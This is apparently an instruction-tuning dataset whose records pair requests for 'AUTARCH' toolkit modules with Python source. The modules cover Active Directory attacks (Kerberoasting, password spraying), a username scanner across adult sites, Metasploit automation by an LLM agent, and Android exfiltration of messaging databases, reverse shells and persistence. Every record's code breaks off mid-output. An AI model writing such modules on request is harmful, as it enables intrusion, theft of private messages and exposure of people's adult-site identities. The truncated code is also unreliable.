295 lines
5.1 MiB
Plaintext
295 lines
5.1 MiB
Plaintext
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that active directory enumeration & attack. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: ad_audit\nCategory: offense\nDescription: Active Directory enumeration & attack", "output": "\"\"\"AUTARCH Active Directory Audit\n\nLDAP enumeration, Kerberoasting, AS-REP roasting, ACL analysis,\nBloodHound collection, and password spray for AD security assessment.\n\"\"\"\n\nimport os\nimport sys\nimport json\nimport time\nimport subprocess\nimport struct\nimport random\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime, timedelta\n\n# Module metadata\nDESCRIPTION = \"Active Directory enumeration & attack\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\n# Path setup\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return Path(__file__).parent.parent / 'data'\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\ntry:\n from core.banner import Colors, clear_screen, display_banner\nexcept ImportError:\n class Colors:\n CYAN = YELLOW = GREEN = RED = BOLD = DIM = RESET = WHITE = MAGENTA = \"\"\n def clear_screen(): pass\n def display_banner(): pass\n\n# Optional dependency flags\ntry:\n import ldap3\n from ldap3 import Server, Connection, ALL, NTLM, SUBTREE, ALL_ATTRIBUTES\n from ldap3.core.exceptions import LDAPException\n HAS_LDAP3 = True\nexcept ImportError:\n HAS_LDAP3 = False\n\ntry:\n from impacket.ldap import ldap as impacket_ldap\n from impacket.ldap import ldapasn1 as ldapasn1\n HAS_IMPACKET_LDAP = True\nexcept ImportError:\n HAS_IMPACKET_LDAP = False\n\ntry:\n from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS\n from impacket.krb5 import constants as krb5_constants\n from impacket.krb5.types import Principal, KerberosTime\n HAS_IMPACKET_KRB = True\nexcept ImportError:\n HAS_IMPACKET_KRB = False\n\n# AD timestamp epoch: Jan 1, 1601\nAD_EPOCH = datetime(1601, 1, 1)\n\n# User Account Control flags\nUAC_FLAGS = {\n 0x0001: 'SCRIPT',\n 0x0002: 'ACCOUNTDISABLE',\n 0x0008: 'HOMEDIR_REQUIRED',\n 0x0010: 'LOCKOUT',\n 0x0020: 'PASSWD_NOTREQD',\n 0x0040: 'PASSWD_CANT_CHANGE',\n 0x0080: 'ENCRYPTED_TEXT_PWD_ALLOWED',\n 0x0100: 'TEMP_DUPLICATE_ACCOUNT',\n 0x0200: 'NORMAL_ACCOUNT',\n 0x0800: 'INTERDOMAIN_TRUST_ACCOUNT',\n 0x1000: 'WORKSTATION_TRUST_ACCOUNT',\n 0x2000: 'SERVER_TRUST_ACCOUNT',\n 0x10000: 'DONT_EXPIRE_PASSWORD',\n 0x20000: 'MPC_LOGON_ACCOUNT',\n 0x40000: 'SMARTCARD_REQUIRED',\n 0x80000: 'TRUSTED_FOR_DELEGATION',\n 0x100000: 'NOT_DELEGATED',\n 0x200000: 'USE_DES_KEY_ONLY',\n 0x400000: 'DONT_REQUIRE_PREAUTH',\n 0x800000: 'PASSWORD_EXPIRED',\n 0x1000000: 'TRUSTED_TO_AUTH_FOR_DELEGATION',\n 0x4000000: 'PARTIAL_SECRETS_ACCOUNT',\n}\n\n# Dangerous ACE rights\nDANGEROUS_RIGHTS = {\n 'GenericAll': 'Full control over the object',\n 'GenericWrite': 'Modify all attributes of the object',\n 'WriteOwner': 'Change the owner of the object',\n 'WriteDACL': 'Modify the DACL of the object',\n 'Self': 'Self-membership — can add self to group',\n 'ForceChangePassword': 'Reset the password without knowing current',\n 'WriteProperty-Member': 'Can modify group membership',\n 'WriteProperty-Script-Path': 'Can modify logon script path',\n 'ExtendedRight-User-Force-Change-Password': 'Force password reset',\n 'ExtendedRight-DS-Replication-Get-Changes': 'DCSync — replicate directory changes',\n 'ExtendedRight-DS-Replication-Get-Changes-All': 'DCSync — replicate all changes including secrets',\n}\n\n# Well-known SIDs\nWELL_KNOWN_SIDS = {\n 'S-1-5-32-544': 'BUILTIN\\\\Administrators',\n 'S-1-5-32-545': 'BUILTIN\\\\Users',\n 'S-1-5-32-548': 'BUILTIN\\\\Account Operators',\n 'S-1-5-32-549': 'BUILTIN\\\\Server Operators',\n 'S-1-5-32-550': 'BUILTIN\\\\Print Operators',\n 'S-1-5-32
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'osint' category that adult site username osint scanner. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: adultscan\nCategory: osint\nDescription: Adult site username OSINT scanner", "output": "\"\"\"\nAUTARCH Adult Site Scanner Module\nUsername OSINT for adult-oriented platforms\n\nSearches usernames across adult content sites, fanfiction platforms,\nand related communities.\n\"\"\"\n\nimport sys\nimport subprocess\nimport re\nimport json\nfrom pathlib import Path\nfrom urllib.parse import quote\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\n# Module metadata\nDESCRIPTION = \"Adult site username OSINT scanner\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.3\"\nCATEGORY = \"osint\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\nfrom core.config import get_config\n\n# Custom sites storage file\nfrom core.paths import get_app_dir as _app_dir\nCUSTOM_SITES_FILE = _app_dir() / \"custom_adultsites.json\"\n# Bulk import file\nBULK_IMPORT_FILE = _app_dir() / \"custom_sites.inf\"\n\n# Common username URL patterns for auto-detection\nCOMMON_PATTERNS = [\n '/user/{}',\n '/users/{}',\n '/u/{}',\n '/profile/{}',\n '/profiles/{}',\n '/member/{}',\n '/members/{}',\n '/@{}',\n '/{}',\n '/people/{}',\n '/account/{}',\n '/id/{}',\n '/{}/profile',\n '/user/{}/profile',\n '/channel/{}',\n '/c/{}',\n '/p/{}',\n]\n\n\nclass AdultScanner:\n \"\"\"Username scanner for adult-oriented sites.\"\"\"\n\n # Default site definitions: (name, url_template, method)\n # method: 'status' = check HTTP status, 'content' = check page content\n DEFAULT_SITES = {\n # Fanfiction & Story Sites\n 'fanfiction': [\n ('Archive of Our Own', 'https://archiveofourown.org/users/{}/profile', 'status'),\n ('FanFiction.net', 'https://www.fanfiction.net/u/0/{}', 'content'),\n ('FimFiction', 'https://www.fimfiction.net/user/{}', 'status'),\n ('Wattpad', 'https://www.wattpad.com/user/{}', 'status'),\n ('Literotica', 'https://www.literotica.com/stories/memberpage.php?uid=0&username={}', 'content'),\n ('Adult-FanFiction', 'http://members.adult-fanfiction.org/profile.php?no=0&uname={}', 'content'),\n ('Hentai Foundry', 'https://www.hentai-foundry.com/user/{}/profile', 'status'),\n ('SoFurry', 'https://www.sofurry.com/browse/user/{}', 'status'),\n ('Inkbunny', 'https://inkbunny.net/{}', 'status'),\n ],\n\n # Art & Creative\n 'art': [\n ('DeviantArt', 'https://www.deviantart.com/{}', 'status'),\n ('Fur Affinity', 'https://www.furaffinity.net/user/{}/', 'status'),\n ('Newgrounds', 'https://{}.newgrounds.com', 'status'),\n ('Pixiv', 'https://www.pixiv.net/en/users/{}', 'content'),\n ('Rule34', 'https://rule34.xxx/index.php?page=account&s=profile&uname={}', 'content'),\n ('e621', 'https://e621.net/users?name={}', 'content'),\n ('Derpibooru', 'https://derpibooru.org/profiles/{}', 'status'),\n ('Twitter/X', 'https://twitter.com/{}', 'status'),\n ('Tumblr', 'https://{}.tumblr.com', 'status'),\n ('Pillowfort', 'https://www.pillowfort.social/{}', 'status'),\n ],\n\n # Video & Streaming\n 'video': [\n ('Pornhub', 'https://www.pornhub.com/users/{}', 'status'),\n ('XVideos', 'https://www.xvideos.com/profiles/{}', 'status'),\n ('xHamster', 'https://xhamster.com/users/{}', 'status'),\n ('Chaturbate', 'https://chaturbate.com/{}/', 'status'),\n ('OnlyFans', 'https://onlyfans.com/{}', 'status'),\n ('Fansly', 'https://fansly.com/{}', 'status'),\n ('ManyVids', 'https://www.manyvids.com/Profile/0/{}/', 'content'),\n ('PocketStars', 'https://pocketsta
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'core' category that autonomous agent for task execution. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: agent\nCategory: core\nDescription: Autonomous agent for task execution", "output": "\"\"\"\nAUTARCH Agent Module\nInteractive interface for running autonomous agent tasks\n\nThis module provides an interface to give tasks to the autonomous agent\nand watch it work through them step by step.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\n\n# Module metadata\nDESCRIPTION = \"Autonomous agent for task execution\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"core\"\n\n# Add parent directory to path\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\nfrom core.agent import Agent, AgentState, AgentStep, AgentResult\nfrom core.tools import get_tool_registry\nfrom core.llm import get_llm, LLMError\nfrom core.banner import Colors, clear_screen, display_banner\n\n\nclass AgentInterface:\n \"\"\"Interactive interface for the AUTARCH agent.\"\"\"\n\n def __init__(self):\n self.agent = None\n self.llm = get_llm()\n self.tools = get_tool_registry()\n\n def print_status(self, message: str, status: str = \"info\"):\n \"\"\"Print a status message.\"\"\"\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def print_header(self, text: str):\n \"\"\"Print a section header.\"\"\"\n print(f\"\\n{Colors.BOLD}{Colors.WHITE}{text}{Colors.RESET}\")\n print(f\"{Colors.DIM}{'─' * 50}{Colors.RESET}\")\n\n def show_tools(self):\n \"\"\"Display available tools.\"\"\"\n self.print_header(\"Available Tools\")\n\n tools = self.tools.list_tools()\n for tool in tools:\n print(f\"\\n {Colors.CYAN}{tool.name}{Colors.RESET} [{tool.category}]\")\n print(f\" {Colors.DIM}{tool.description}{Colors.RESET}\")\n if tool.parameters:\n for param in tool.parameters:\n req = \"*\" if param.required else \"\"\n print(f\" - {param.name}{req}: {param.description}\")\n\n def on_step_callback(self, step: AgentStep):\n \"\"\"Callback for when agent completes a step.\"\"\"\n print(f\"\\n{Colors.DIM}{'─' * 40}{Colors.RESET}\")\n\n def on_state_callback(self, state: AgentState):\n \"\"\"Callback for agent state changes.\"\"\"\n state_colors = {\n AgentState.IDLE: Colors.WHITE,\n AgentState.THINKING: Colors.MAGENTA,\n AgentState.EXECUTING: Colors.BLUE,\n AgentState.WAITING_USER: Colors.YELLOW,\n AgentState.COMPLETE: Colors.GREEN,\n AgentState.ERROR: Colors.RED,\n }\n color = state_colors.get(state, Colors.WHITE)\n # Only show state for key transitions\n if state in [AgentState.COMPLETE, AgentState.ERROR]:\n print(f\"{color}[State: {state.value}]{Colors.RESET}\")\n\n def run_task(self, task: str) -> AgentResult:\n \"\"\"Run a task through the agent.\n\n Args:\n task: Task description.\n\n Returns:\n AgentResult with execution details.\n \"\"\"\n self.agent = Agent(\n llm=self.llm,\n tools=self.tools,\n max_steps=20,\n verbose=True\n )\n\n self.agent.on_step = self.on_step_callback\n self.agent.on_state_change = self.on_state_callback\n\n return self.agent.run(task)\n\n def interactive_loop(self):\n \"\"\"Run interactive task input loop.\"\"\"\n self.print_header(\"Agent Interface\")\n print(f\"\\n{Colors.WHITE}Enter a task for the agent to complete.\")\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'core' category that ai-powered security automation. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: agent_hal\nCategory: core\nDescription: AI-powered security automation", "output": "\"\"\"\nAUTARCH Agent Hal Module\nAI-powered security automation for defense and penetration testing\n\nUses LLM integration for intelligent security operations including:\n- MITM attack detection and monitoring\n- Automated Metasploit module execution via natural language\n- Network security analysis\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport re\nimport json\nimport time\nfrom pathlib import Path\nfrom datetime import datetime\nfrom typing import Dict, List, Optional, Tuple\n\n# Module metadata\nNAME = \"Agent Hal\"\nDESCRIPTION = \"AI-powered security automation\"\nAUTHOR = \"darkHal Security Group\"\nVERSION = \"2.0\"\nCATEGORY = \"core\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\nfrom core.config import get_config\nfrom core.llm import LLM, LLMError\nfrom core.pentest_tree import PentestTree, NodeStatus, PTTNodeType\nfrom core.pentest_pipeline import PentestPipeline, detect_source_type\nfrom core.pentest_session import PentestSession, PentestSessionState\n\n\nclass AgentHal:\n \"\"\"AI-powered security automation agent.\"\"\"\n\n def __init__(self):\n self.config = get_config()\n self.llm = None\n self.msf = None\n self.msf_connected = False\n self.pentest_session = None\n self.pentest_pipeline = None\n\n def print_status(self, message: str, status: str = \"info\"):\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def run_cmd(self, cmd: str, timeout: int = 30) -> Tuple[bool, str]:\n \"\"\"Run a shell command and return output.\"\"\"\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n return result.returncode == 0, result.stdout.strip()\n except subprocess.TimeoutExpired:\n return False, \"Command timed out\"\n except Exception as e:\n return False, str(e)\n\n def _ensure_llm_loaded(self) -> bool:\n \"\"\"Ensure LLM is loaded and ready.\"\"\"\n if self.llm is None:\n self.llm = LLM()\n\n if not self.llm.is_loaded:\n self.print_status(\"Loading LLM model...\", \"info\")\n try:\n self.llm.load_model(verbose=True)\n return True\n except LLMError as e:\n self.print_status(f\"Failed to load LLM: {e}\", \"error\")\n return False\n return True\n\n def _ensure_msf_connected(self) -> bool:\n \"\"\"Ensure MSF RPC is connected via the centralized interface.\"\"\"\n if self.msf is None:\n try:\n from core.msf_interface import get_msf_interface\n self.msf = get_msf_interface()\n except ImportError:\n self.print_status(\"MSF interface not available\", \"error\")\n return False\n\n # Use the interface's connection management\n connected, msg = self.msf.ensure_connected(auto_prompt=False)\n if connected:\n self.msf_connected = True\n self.print_status(\"Connected to MSF RPC\", \"success\")\n return True\n else:\n self.print_status(f\"Failed to connect to MSF: {msg}\", \"error\")\n return False\n\n # ==================== MITM DETECTION ====================\n\n def mitm_detection_menu(self):\n \"\"\"MITM attack detection submenu.\"\"\"\
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that forensics & file analysis tools. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: analyze\nCategory: analyze\nDescription: Forensics & file analysis tools", "output": "\"\"\"\nAUTARCH Analyze Module\nForensics and analysis tools\n\nFile analysis, hash generation, string extraction, and more.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport hashlib\nimport re\ntry:\n import magic\nexcept ImportError:\n magic = None\nfrom pathlib import Path\nfrom datetime import datetime\n\n# Module metadata\nDESCRIPTION = \"Forensics & file analysis tools\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\n\n\nclass Analyzer:\n \"\"\"Forensics and analysis tools.\"\"\"\n\n def __init__(self):\n pass\n\n def print_status(self, message: str, status: str = \"info\"):\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def run_cmd(self, cmd: str) -> tuple:\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)\n return result.returncode == 0, result.stdout.strip()\n except:\n return False, \"\"\n\n def get_file_hashes(self, filepath: str) -> dict:\n \"\"\"Calculate various hashes for a file.\"\"\"\n p = Path(filepath)\n if not p.exists() or not p.is_file():\n return {}\n\n hashes = {}\n with open(p, 'rb') as f:\n content = f.read()\n hashes['md5'] = hashlib.md5(content).hexdigest()\n hashes['sha1'] = hashlib.sha1(content).hexdigest()\n hashes['sha256'] = hashlib.sha256(content).hexdigest()\n\n return hashes\n\n def analyze_file(self):\n \"\"\"Comprehensive file analysis.\"\"\"\n print(f\"\\n{Colors.BOLD}File Analysis{Colors.RESET}\")\n filepath = input(f\"{Colors.WHITE}Enter file path: {Colors.RESET}\").strip()\n\n if not filepath:\n return\n\n p = Path(filepath).expanduser()\n if not p.exists():\n self.print_status(f\"File not found: {filepath}\", \"error\")\n return\n\n print(f\"\\n{Colors.CYAN}{'─' * 50}{Colors.RESET}\")\n print(f\"{Colors.BOLD}File: {p.name}{Colors.RESET}\")\n print(f\"{Colors.CYAN}{'─' * 50}{Colors.RESET}\\n\")\n\n # Basic info\n stat = p.stat()\n print(f\"{Colors.CYAN}Basic Info:{Colors.RESET}\")\n print(f\" Path: {p.absolute()}\")\n print(f\" Size: {stat.st_size:,} bytes\")\n print(f\" Modified: {datetime.fromtimestamp(stat.st_mtime)}\")\n print(f\" Created: {datetime.fromtimestamp(stat.st_ctime)}\")\n print(f\" Mode: {oct(stat.st_mode)}\")\n\n # File type\n print(f\"\\n{Colors.CYAN}File Type:{Colors.RESET}\")\n try:\n file_magic = magic.Magic(mime=True)\n mime_type = file_magic.from_file(str(p))\n print(f\" MIME: {mime_type}\")\n\n file_magic = magic.Magic()\n file_desc = file_magic.from_file(str(p))\n print(f\" Type: {file_desc}\")\n except:\n success, output = self.run_cmd(f\"file '{p}'\")\n if success:\n print(f\" Type: {output.split(':', 1)[-1].strip()}\")\n\n # Hashes\n print(f\"\\n{Colors.CYAN}Hashes:{Colors.RESET}\")\n hashes = self.get_file_hashes(str(p))\n for algo, value in hashes.items():\n print(f\" {algo.upper():8} {value}\")\n\n # Check if
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that android advanced exploits (network, apps, system, data extraction). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_advanced\nCategory: offense\nDescription: Android advanced exploits (network, apps, system, data extraction)", "output": "\"\"\"\nAndroid Advanced Exploits - Network, app manipulation, system control, data exfil\n\"\"\"\n\nDESCRIPTION = \"Android advanced exploits (network, apps, system, data extraction)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass AndroidAdvanced:\n \"\"\"Interactive menu for advanced Android exploits.\"\"\"\n\n def __init__(self):\n from core.android_exploit import get_exploit_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_exploit_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _select_device(self):\n devices = self.hw.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return\n if len(devices) == 1:\n self.serial = devices[0]['serial']\n print(f\" Selected: {self.serial}\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n print(f\" {i}) {d['serial']} {d.get('model','')}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.serial = devices[choice - 1]['serial']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.serial:\n self._select_device()\n return self.serial is not None\n\n def show_menu(self):\n print(f\"\\n{'='*60}\")\n print(\" Advanced Android Exploits\")\n print(f\"{'='*60}\")\n print(f\" Device: {self.serial or '(none)'}\")\n print()\n print(\" ── Data Exfiltration ──\")\n print(\" [1] Clipboard Content\")\n print(\" [2] Notifications\")\n print(\" [3] Location Data\")\n print(\" [4] List Media Files\")\n print(\" [5] Pull Media Folder\")\n print(\" [6] WhatsApp DB [ROOT]\")\n print(\" [7] Telegram DB [ROOT]\")\n print(\" [8] Signal DB [ROOT]\")\n print(\" [9] Dump Settings (all)\")\n print(\" [10] Device Fingerprint\")\n print(\" [11] Dump Any Database [ROOT]\")\n print()\n print(\" ── Network ──\")\n print(\" [20] Network Info\")\n print(\" [21] Set Proxy (MITM)\")\n print(\" [22] Clear Proxy\")\n print(\" [23] Set DNS [ROOT]\")\n print(\" [24] WiFi Scan\")\n print(\" [25] WiFi Connect\")\n print(\" [26] WiFi On/Off\")\n print(\" [27] Enable Hotspot\")\n print(\" [28] Capture Traffic [ROOT]\")\n print(\" [29] Port Forward\")\n print(\" [30] ADB over WiFi\")\n print()\n print(\" ── App Manipulation ──\")\n print(\" [40] Grant Permission\")\n print(\" [41] Revoke Permission\")\n print(\" [42] List App Permissions\")\n print(\" [43] Disable App\")\n print(\" [44] Enable App\")\n print(\" [45] Clear App Data\")\n print(\" [46] Force Stop App\")\n print(\" [47] Launch App\")\n print(\" [48] Launch Activity\")\n print(\" [49] Send Broadcast\")\n print(\" [50] Content Query\")\n print(\" [51] Enable Overlay\")\n print()\n print(\" ── System ──\")\n print(\" [60] SELinux Permissive [ROOT]\")\n print(\" [61] Remount /system RW [ROOT]
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'hardware' category that android app extraction (apk pull, app data, shared prefs). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_apps\nCategory: hardware\nDescription: Android app extraction (APK pull, app data, shared prefs)", "output": "\"\"\"\nAndroid App Extraction - Pull APKs, app data, shared preferences\n\"\"\"\n\nDESCRIPTION = \"Android app extraction (APK pull, app data, shared prefs)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"hardware\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass AndroidApps:\n \"\"\"Interactive menu for Android app extraction.\"\"\"\n\n def __init__(self):\n from core.android_exploit import get_exploit_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_exploit_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _select_device(self):\n devices = self.hw.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return\n if len(devices) == 1:\n self.serial = devices[0]['serial']\n print(f\" Selected: {self.serial}\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n model = d.get('model', '')\n print(f\" {i}) {d['serial']} {model}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.serial = devices[choice - 1]['serial']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.serial:\n self._select_device()\n return self.serial is not None\n\n def show_menu(self):\n print(f\"\\n{'='*50}\")\n print(\" App Extraction\")\n print(f\"{'='*50}\")\n print(f\" Device: {self.serial or '(none)'}\")\n print()\n print(\" [1] List Packages\")\n print(\" [2] Pull APK\")\n print(\" [3] Pull App Data (root/debuggable)\")\n print(\" [4] Extract Shared Prefs\")\n print(\" [s] Select Device\")\n print(\" [0] Back\")\n print()\n\n def list_packages(self):\n if not self._ensure_device():\n return\n try:\n inc = input(\" Include system apps? [y/N]: \").strip().lower() == 'y'\n except (EOFError, KeyboardInterrupt):\n return\n result = self.mgr.list_packages(self.serial, include_system=inc)\n if 'error' in result:\n print(f\" Error: {result['error']}\")\n return\n print(f\"\\n Found {result['count']} packages:\")\n for pkg in result['packages']:\n flag = ' [SYS]' if pkg['is_system'] else ''\n print(f\" {pkg['package']}{flag}\")\n print(f\" {pkg['path']}\")\n\n def pull_apk(self):\n if not self._ensure_device():\n return\n try:\n package = input(\" Package name: \").strip()\n except (EOFError, KeyboardInterrupt):\n return\n if not package:\n return\n print(f\" Pulling APK for {package}...\")\n result = self.mgr.pull_apk(self.serial, package)\n if result['success']:\n size_mb = result['size'] / (1024 * 1024)\n print(f\" Saved: {result['local_path']} ({size_mb:.1f} MB)\")\n else:\n print(f\" Error: {result['error']}\")\n\n def pull_app_data(self):\n if not self._ensure_device():\n return\n try:\n package = input(\" Package name: \").strip()\n except (EOFError, KeyboardInterrupt):\n return\n if not package:\n return\n print(f\" Pulling app data for {package}...\")\n result = self.mgr
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that android boot/recovery exploits (flash, unlock, verity bypass). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_boot\nCategory: offense\nDescription: Android boot/recovery exploits (flash, unlock, verity bypass)", "output": "\"\"\"\nAndroid Boot / Recovery Exploit - Bootloader unlock, flash, dm-verity\n\"\"\"\n\nDESCRIPTION = \"Android boot/recovery exploits (flash, unlock, verity bypass)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass AndroidBoot:\n \"\"\"Interactive menu for boot/recovery operations.\"\"\"\n\n def __init__(self):\n from core.android_exploit import get_exploit_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_exploit_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _select_device(self):\n \"\"\"Select from fastboot devices (boot ops need fastboot mostly).\"\"\"\n fb_devices = self.hw.fastboot_devices()\n adb_devices = self.hw.adb_devices()\n all_devs = []\n for d in fb_devices:\n all_devs.append({'serial': d['serial'], 'mode': 'fastboot'})\n for d in adb_devices:\n all_devs.append({'serial': d['serial'], 'mode': 'adb'})\n if not all_devs:\n print(\" No devices found (ADB or fastboot).\")\n return\n if len(all_devs) == 1:\n self.serial = all_devs[0]['serial']\n print(f\" Selected: {self.serial} ({all_devs[0]['mode']})\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(all_devs, 1):\n print(f\" {i}) {d['serial']} [{d['mode']}]\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(all_devs):\n self.serial = all_devs[choice - 1]['serial']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.serial:\n self._select_device()\n return self.serial is not None\n\n def show_menu(self):\n print(f\"\\n{'='*50}\")\n print(\" Boot / Recovery Exploit\")\n print(f\"{'='*50}\")\n print(\" !! WARNING: Can BRICK device / WIPE data !!\")\n print(f\" Device: {self.serial or '(none)'}\")\n print()\n print(\" [1] Bootloader Info\")\n print(\" [2] Backup Boot Image\")\n print(\" [3] Unlock Bootloader [WIPES DATA]\")\n print(\" [4] Flash Custom Recovery\")\n print(\" [5] Flash Boot Image\")\n print(\" [6] Disable dm-verity/AVB\")\n print(\" [7] Temp Boot (no flash)\")\n print(\" [s] Select Device\")\n print(\" [0] Back\")\n print()\n\n def bootloader_info(self):\n if not self._ensure_device():\n return\n print(\" Querying bootloader...\")\n info = self.mgr.get_bootloader_info(self.serial)\n if not info:\n print(\" No info returned (device might not be in fastboot mode).\")\n return\n print(f\"\\n Bootloader Variables:\")\n for k, v in info.items():\n print(f\" {k:<25} {v}\")\n\n def backup_boot(self):\n if not self._ensure_device():\n return\n print(\" Backing up boot image (requires root via ADB)...\")\n result = self.mgr.backup_boot_image(self.serial)\n if result['success']:\n size_mb = result['size'] / (1024 * 1024)\n print(f\" Saved: {result['local_path']} ({size_mb:.1f} MB)\")\n else:\n print(f\" Error: {result.get('error', 'Failed')}\")\n\n def unlock_bootloader(self):\n if not self._ensure_device():\n return\n print(\"\\n !! WARNING: This wil
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that android payload deployment (binaries, reverse shells, persistence). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: android_payload\nCategory: offense\nDescription: Android payload deployment (binaries, reverse shells, persistence)", "output": "\"\"\"\nAndroid Payload Deployment - Deploy binaries, reverse shells, persistence\n\"\"\"\n\nDESCRIPTION = \"Android payload deployment (binaries, reverse shells, persistence)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass AndroidPayload:\n \"\"\"Interactive menu for Android payload deployment.\"\"\"\n\n def __init__(self):\n from core.android_exploit import get_exploit_manager\n from core.hardware import get_hardware_manager\n self.mgr = get_exploit_manager()\n self.hw = get_hardware_manager()\n self.serial = None\n\n def _select_device(self):\n devices = self.hw.adb_devices()\n if not devices:\n print(\" No ADB devices connected.\")\n return\n if len(devices) == 1:\n self.serial = devices[0]['serial']\n print(f\" Selected: {self.serial}\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n model = d.get('model', '')\n print(f\" {i}) {d['serial']} {model}\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.serial = devices[choice - 1]['serial']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.serial:\n self._select_device()\n return self.serial is not None\n\n def show_menu(self):\n print(f\"\\n{'='*50}\")\n print(\" Payload Deployment\")\n print(f\"{'='*50}\")\n print(f\" Device: {self.serial or '(none)'}\")\n print()\n print(\" [1] Deploy Binary\")\n print(\" [2] Execute Payload\")\n print(\" [3] Setup Reverse Shell\")\n print(\" [4] Install Persistence [ROOT]\")\n 